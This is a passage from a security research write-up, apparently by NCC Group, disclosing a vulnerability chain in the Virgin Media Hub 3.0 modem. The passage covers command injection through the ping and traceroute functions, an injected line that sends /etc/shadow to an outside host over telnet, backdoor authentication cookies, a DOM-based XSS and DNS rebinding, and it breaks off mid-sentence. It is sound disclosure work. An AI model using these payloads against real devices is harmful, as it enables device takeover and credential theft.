All of this research was performed by our Managing Security Consultant, Balazs Bucsay @xoreipeip (https://twitter.com/xoreipeip) during the winter of 2016/2017.
After changing Internet provider at my home in 2016, I received a new broadband modem; the Virgin Media Hub 3.0. Somehow I always get this itchy feeling whenever a new device is connected to my network and I feel the urge to take a look into its security.
After a few hours actively trying to find a bug in the system, a remote command execution bug was found, but that was just the beginning of this story. Over time, many other bugs were found and eventually a full chain of exploits was created which made it possible to control the device remotely with no user interaction and potentially take control over millions of these devices, installing backdoors in them in a way that would be extremely hard to find and investigate.
This model of device was (and still is) being used by millions of customers.
First stepsUnfortunately in 2016 there was not much information on the Internet about the device. After many hours spent on different search engines, not many useful results were found. Nothing about the architecture, the CPU, known bugs or public exploits. The only thing that made a lot of noise was a throttling issue that affected these devices, but that was far away from being useful in this case.
When researching the security of an embedded device there are two main approaches to finding bugs:
- Black box, mapping out the interfaces, services and shooting blindly
- Getting the firmware either from the Internet or from the chip
The latter was not an option since the box could not be opened without damaging it and as mentioned, there were no useful details on the Internet at the time and no firmware at all. So the black box approach was the main choice available.
After scanning the device internally for all open ports, only a few came back:
Starting Nmap 6.47 ( http://nmap.org ) at 2017-02-20 20:01 GMT NSE: Loaded 29 scripts for scanning. Initiating SYN Stealth Scan at 20:01 Scanning 192.168.0.1 [65535 ports] Initiating Service scan at 20:01 Scanning 3 services on 192.168.0.1 Stats: 0:00:38 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 66.67% done; ETC: 20:01 (0:00:19 remaining) Completed Service scan at 20:02, 63.70s elapsed (3 services on 1 host) NSE: Script scanning 192.168.0.1. NSE: Starting runlevel 1 (of 1) scan. Nmap scan report for 192.168.0.1 Host is up (0.0070s latency). Scanned at 2017-02-20 20:01:00 GMT for 64s PORT STATE SERVICE VERSION 80/tcp open http lighttpd 443/tcp open ssl/http lighttpd 5000/tcp open sip linux/2.6.18_pro500 UPnP/1.0 MiniUPnPd/1.5 (Status: 501 Not Implemented)None of these ports were Internet-facing by default on the device. Ports 80 and 443 served the same site, which was the internal device management web application. The third open port was a MiniUPnP, but no known exploits or vulnerabilities were published for this; but even if there were, without knowing the architecture and other details, any exploitation might have been difficult.
Although not many new services were found with this scan it leaked three important things. Firstly, the device was using Linux and compiled with an old kernel, which is not surprising at all, since 99% of these devices run on old Linux kernels and they have chosen lighttpd as an HTTP server, most probably ‘modded’ somewhat.
After taking a look at the Web UI, many different injection points were identified where the inputs would change settings at the OS level: Wireless network configuration (ESSID, PSK), MAC filtering, Port forwarding, Ping, Traceroute, etc.
Many of these settings might invoke external commands with the user-supplied input. An easy way for developers to implement configuration changes is to put the user input into a system() function that calls an external command on the operating system level and this can easily lead to remote command execution.
From experience, the ping and traceroute functionalities are good places to start. First it needs to be understood how the functionality is invoked and checks for any signs for an external (OS-level) command execution - for example, known traceroute and ping banners.
By tracerouting to 8.8.8.8 the following output was received:
"traceroute to 8.8.8.8 (8.8.8.8), 1 hops max, 38 byte packets 1 10.22.248.1 (10.22.248.1) 10.000 ms 20.000 ms 10.000 ms Trace complete."By performing the same on a Kali Linux host, the output was the following:
# traceroute 8.8.8.8 traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets 1 gateway (172.16.10.2) 0.236 ms 0.171 ms 0.178 msThey look alike or not? The manufacturer either copied the format and implemented their own traceroute functionality, or just used the default one that is shipped with most Linux distributions. Our bet was on the latter.
After analysing how the function was invoked, it appeared that the web development integration had some functional failings.
Other than the HTML and javascript files a few other URLs were used only. Two of them were the snmpGet and snmpSet. It turned out that the developers had combined the HTTP and SNMP protocols to create a hybrid. All settings had to be set and get through these calls using different object identifiers (OIDs). For example, when the traceroute or ping function was called, it set the IP or hostname to one OID, the maximum hops to another one and so on. At the end a final OID was set to a value to invoke the function on the server side. Additionally, all requests had two other variables that were runtime-generated, to make cross-site request forgery (CSRF) impossible or at least very unlikely.
An example request to set the hostname for the ping command:
GET /snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.7.2.0=www.google.com;4;&_n=84550 &_=1484826910874 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.0.1/?tool_ping"#=Ping Cookie: credential=[cookie] Connection: closeAnd the corresponding response:
HTTP/1.1 200 OK Connection: close Date: Thu, 19 Jan 2017 11:55:11 GMT Server: lighttpd { "1.3.6.1.4.1.4115.1.20.1.1.7.2.0":"www.google.com" }As one can see, all communication was done by the JavaScript code in form of AJAX calls. The _n and _ variables were used to defend against CSRF. The oid argument had an object identifier (1.3.6.1.4.1.4115.1.20.1.1.7.2.0), the corresponding value (www.google.com) and the type of that value (4). This was not following any convention at all, since the developers used equal signs in the value as well and semicolons at the end without encoding.
We come back to the significance of this later.
If the reader has read our article “How I did not get a Shell” (https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/how-i-did-not-get-a-shell/) then they know what the next step will be… we try to inject commands into the hostname. The Web UI did not allow the use of any special characters, because the JavaScript code was checking the input. With an intercepting proxy, this mitigation technique can be easily bypassed.
Because we were trying to inject over HTTP and the HTTP server did not really comply with standards there were a few limitations:
No encoding could be used, the server did not perform URL decoding
Space could not be used, + was not decoded as space, but $IFS or even better ${IFS} might work
Neither single quotes nor backslashes were allowed for some reason
Semicolons could not be used, because that would have mixed up the parsing function (the type of the value is concatenated to the value using semicolons)
Strangely ampersand could be used without any issue, as it turned out that the CGI binary examined the URL in one piece, and did not parse it into pieces. So we were left with the following character set: a-zA-Z0-9.&$(){}
After the first $(reboot) as a hostname was tracerouted and the modem went down, we knew that this was a serious finding and the first step to get into the device.
Second stepHaving command execution on the device is interesting, but there was more that could be achieved, including a proper shell and being able to transfer files vice-versa.
By using the following line, the shadow file was exfiltrated from the device:
www.google.com$(telnet${IFS}192.168.0.22${IFS}4444</etc/shadow>/dev/null);4;After the hash was exfiltrated a simple Google search revealed its content, but no telnet or SSH was running on the device so there was no means to log in. Some kind of internal protection mechanism killed the telnetd process after a few seconds if that was started. As another
approach the dropbear SSH service was started, which worked reliably but that required a key file to start, which was found in the device’s /etc directory.
At this point we had a fully working, interactive shell and reliable file transfer between the modem and our testing box.
Although the miniUPnPd was compiled with a banner that contained the Linux word and a version of 2.6.18, the running kernel version seen from “uname a” output was different (2.6.39.3). It was a slightly newer kernel, but still quite old, compiled on 3rd of June 2016 for big endian ARM architecture.
Not surprisingly all binaries were compiled for this architecture:
# file miniupnpd miniupnpd: ELF 32-bit MSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped Firmware analysisAt that point, it was possible to copy all the files and dump the partitions over SSH, so we had the full unpacked firmware and started to hunt for other bugs and understand why and how what we’d already tried did or did not work.
The ping command in the web2snmp binary showed that the ping functionality was also vulnerable:
Figure 1 Vulnerable ping function
If the input was a hostname (“dns”) then the ping command was populated with the user inputs. The first %s in the format string will have the value of the dest variable, which was the user-supplied hostname. This of course led to remote command execution.
It was necessary to sketch a plan at this point to be effective and figure out the direction that we were going to take. A remote command execution (RCE) bug was already found, but this bug was post-authentication, so the impact was not so big. It was a great bug for those who want to play around or already have access to the device somehow, but exploiting without the prerequisites was not possible or at least easy. It would have been great to find other bugs to perform unauthenticated remote command execution and there are two ways to achieve that, either find an RCE which does not require authentication, or to find different bugs and chain them together.
After a few days of reverse engineering and reading ARM assembly, a potential unauthenticated RCE was found, but that was on an inaccessible code path thanks to the web server configuration.
Later when the authentication-related code was reviewed a few more interesting bits were found. Three different authentication-related backdoor options were discovered:
Figure 2 Backdoor cookies
In case the “credential” cookie was set to XML_CONFIGURE, HNAP_CONFIGURE or TACACS_CONFIGURE then the user was treated as an authenticated administrator and no username or password was required. We can only guess why it was there, but most probably these were set for debug and remote control reasons for engineers that were trying to configure the device or get information about it remotely.
More interestingly if any of these users called the snmpGet or snmpSet methods on the device none of the CSRF protection related values (remember the _ and _n arguments) were needed, which means that if any of the cookies were set, then remote command execution could be possible by using CSRF. But how do we set that cookie in the victim’s browser?
Keeping it realWhile we already had everything to claim that we found an unauthenticated RCE vulnerability, it was not really a good one. Too many prerequisites had to be satisfied, including that the cookie must be set in the browser (that we cannot control), the Web UI by default was only internal network-facing, so we dug deeper.
One of the options to set the cookie was to find a cross-site scripting (XSS) bug on the page and execute JavaScript in the browser of the victim, therefore we looked into the HTML/JavaScript sources.
The following snippet was found:
base = getURLArgs() || getDefaultPage(); ... var modbase = base; ... $.cachedScript(modbase + "_data.js?ver=9.1.116V", function success() { $.cachedScript(modbase + ".js?ver=9.1.116V", function success() { try{ ... }catch(e){ handleError(e); // xxxxx MOD. PROD00198245 } }); });This was a DOM-based XSS. The modbase variable could be controlled by the attacker and the jQuery’s cachedScript() function was nice enough to load JavaScript files and interpret them from other websites also:
<a href="http://192.168.0.1/?http://nccgroup.trust/test.js&anything_else" target="_blank">http://192.168.0.1/?http://nccgroup.trust/test.js&anything_else</a>In this case the test.js file was loaded from the nccgroup.trust domain that we control and the code was executed in the context of the browser, so we could set the cookie. Only one thing was missing… this only worked with an authenticated user so the browser had to have a valid and working session. This made the story a bit more real, the probability just increased a bit and elevated the risk level, but this was not enough. We needed something else, something that would eliminate the need for being authenticated and makes this chain of exploit fully remote.
DNS rebindingDNS rebinding is quite old, but for some reason it has only started to be fully appreciated in recent times. It has been proven that it can be exploited reliably in short timeframes (in 3 seconds) and importantly, exploitation is relatively easy.
With DNS rebinding, it is possible to create a JavaScript payload on a webpage and domain that we control; this page can be injected into other webpages that are frequently visited. There are different techniques for this, for example hidden iframes, advertisements etc. But one of the easiest way to lure the victim to visit our page would be a phishing email.
In case the victim opens the page, we quickly change the IP address of the domain to an internal IP and the victim’s browser will be happy to serve the content of the website that is on an internal network. No Cross-Origin Resource Sharing (CORS) mitigation will be in place, since the browser will think that we executed the